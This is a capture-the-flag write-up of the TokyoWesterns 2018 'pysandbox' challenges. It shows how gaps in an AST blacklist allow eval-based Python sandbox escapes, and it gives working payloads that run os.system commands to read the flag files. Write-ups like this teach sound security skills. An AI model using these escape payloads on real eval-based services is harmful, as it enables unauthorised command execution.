TokyoWesterns CTF 4th 2018 Writeup — Part 5

Abdelkader Belcaid
InfoSec Write-ups
Published in
5 min readSep 9, 2018

--

07/09/2018 15:07 PM UTC+2

TokyoWesterns CTF 4th 2018 Writeup — Part 5

In this part I will talk about how I solved two interesting challenges about Python Sandbox Bypass.

pysandbox — 339pts

pysandbox

As you see, this task is about two parts, each part is a challenge to bypass Python Sandbox.

pysandbox 1–161pts

Challenge: sandbox

Firstlly, let’s read and understand the given python script to know what is needed in this challenge:

We will input something, will be parsed by ast and will pass by eval function:

if __name__ == '__main__':
expr = sys.stdin.read()
body = ast.parse(expr).body
if check(body):
sys.stdout.write(repr(eval(expr)))
else:
sys.stdout.write("Invalid input")
sys.stdout.flush()

When the system check Call or Attribute in the expression, it will considered invalid because it’s blacklisted.

blacklist = [ast.Call, ast.Attribute]

And we have comments:

"""
expr = BoolOp(boolop op, expr* values)
| BinOp(expr left, operator op, expr right)
| UnaryOp(unaryop op, expr operand)
| Lambda(arguments args, expr body)
| IfExp(expr test, expr body, expr orelse)
| Dict(expr* keys, expr* values)
| Set(expr* elts)
| ListComp(expr elt, comprehension* generators)
| SetComp(expr elt, comprehension* generators)
| DictComp(expr key, expr value, comprehension* generators)
| GeneratorExp(expr elt, comprehension* generators)
-- the grammar constrains where yield expressions can occur
| Yield(expr? value)
-- need sequences for compare to distinguish between
-- x < 4 < 3 and (x < 4) < 3
| Compare(expr left, cmpop* ops, expr* comparators)
| Call(expr func, expr* args, keyword* keywords,
expr? starargs, expr? kwargs)
| Repr(expr value)
| Num(object n) -- a number as a PyObject.
| Str(string s) -- need to specify raw, unicode, etc?
-- other literals? bools?

-- the following expression can appear in assignment context
| Attribute(expr value, identifier attr, expr_context ctx)
| Subscript(expr value, slice slice, expr_context ctx)
| Name(identifier id, expr_context ctx)
| List(expr* elts, expr_context ctx)
| Tuple(expr* elts, expr_context ctx)

-- col_offset is the byte offset in the utf8 string the parser uses
attributes (int lineno, int col_offset)

"""

And Attributes:

attributes = {
'BoolOp': ['values'],
'BinOp': ['left', 'right'],
'UnaryOp': ['operand'],
'Lambda': ['body'],
'IfExp': ['test', 'body', 'orelse'],
'Dict': ['keys', 'values'],
'Set': ['elts'],
'ListComp': ['elt'],
'SetComp': ['elt'],
'DictComp': ['key', 'value'],
'GeneratorExp': ['elt'],
'Yield': ['value'],
'Compare': ['left', 'comparators'],
'Call': False, # call is not permitted
'Repr': ['value'],
'Num': True,
'Str': True,
'Attribute': False, # attribute is also not permitted
'Subscript': ['value'],
'Name': True,
'List': ['elts'],
'Tuple': ['elts'],
'Expr': ['value'], # root node
}

I compared between checked parts in Attributes and marked as not checked in Comments. Found that arguments in Lambda is not checked in Attributes and marked as checked in Comments, and Generators is not checked ListComp argument in Attributes and marked as checked in comments.

In comments:

| Lambda(arguments args, expr body)
| ListComp(expr elt, comprehension* generators)

In Attributes:

'Lambda': ['body'],
'ListComp': ['elt'],

Based on this result let’s try to use Generators with eval function to bypass it!

[x for x in [eval("__import__('os').system('pwd')")]]

Let’s connect into our given server and send it as our input:

Here is the final payload to show the flag:

[x for x in [eval("__import__('os').system('cat flag')")]]
submitting the first pysandbox’s flag

FLAG is: TWCTF{go_to_next_challenge_running_on_port_30002}

Seems that’s flag will help us to connect into second server, so if you did not bypassed the first python sandbox will not be able to bypass the second one just if you guess that the port of second python sandbox is 30002.

pysandbox 2–176pts

Challenge: sandbox

Let’s connect into server first:

second server connection

It required the flag of first python sandbox challenge to get the second python script, so you must solve the first challenge to solve the second challenge.

In order to get the script of second python sandbox you have to give the SHA512 of the first flag as shown above.

Here is the python script of second part:

If you read this script you will find that arguments in Lambda is not checked in Attributes and marked as checked in Comments, and slice is not checked Subscript argument in Attributes and marked as checked in comments.

In Comments:

| Lambda(arguments args, expr body)
| Subscript(expr value, slice slice, expr_context ctx)

In Attributes:

'Lambda': ['body'],
'Subscript': ['value'],

Based on this result let’s try to use slice with eval function to bypass it!

"a"[eval("__import__('os').system('pwd')")]

Let’s connect into our given server and send it as our input:

pwd
id
ls
cat flag2

Here is the final payload to show the flag:

"a"[eval("__import__('os').system('cat flag2')")]
submitting the second pysandbox’s flag

FLAG is: TWCTF{baby_sandb0x_escape_with_pythons}

It was a fun and educational challenge, i just got such a good points about how to escape python sandbox and get shell by exploitation of that issue.

I would to thanks all TokyoWesterns Team’s members for these good challenges and for the organization, and HackXore 337 Team’s members for sharing informations with me during CTF.

Actually, It was a good performance to me; the 56th place with 994 points with some missed challenges were almost done is not easy. I hope that will participate in the next version and to enjoy such a more fun and good challenges.

TokyoWesterns CTF 4th 2018 Challenges Board
HackXore 337’s Solved Challenges
TokyoWesterns CTF 4th 2018 Ranking Board

--

--